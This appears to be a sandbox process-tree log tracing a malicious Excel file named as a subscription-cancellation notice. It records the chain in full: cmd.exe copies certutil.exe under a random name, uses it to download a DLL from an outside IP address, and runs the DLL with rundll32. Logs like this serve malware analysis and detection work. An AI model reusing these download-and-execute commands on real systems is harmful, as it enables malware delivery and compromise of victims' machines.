EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\cancel_sub_KT901234567890123.xlsb
5580cmd.exe "C:\Windows\System32\cmd.exe" /c mkdir %programdata%\GT2pFbB && copy /b %SystemRoot%\System32\certutil.exe %programdata%\GT2pFbB\GT2pFbB.exe
8800GT2pFbB.exe "C:\programdata\GT2pFbB\GT2pFbB.exe" -urlcache -f -split http://192.236.195.160 c:\programdata\GT2pFbB\GT2pFbB.dll
7236rundll32.exe rundll32 C:\ProgramData\GT2pFbB\GT2pFbB.dll,StartW
2268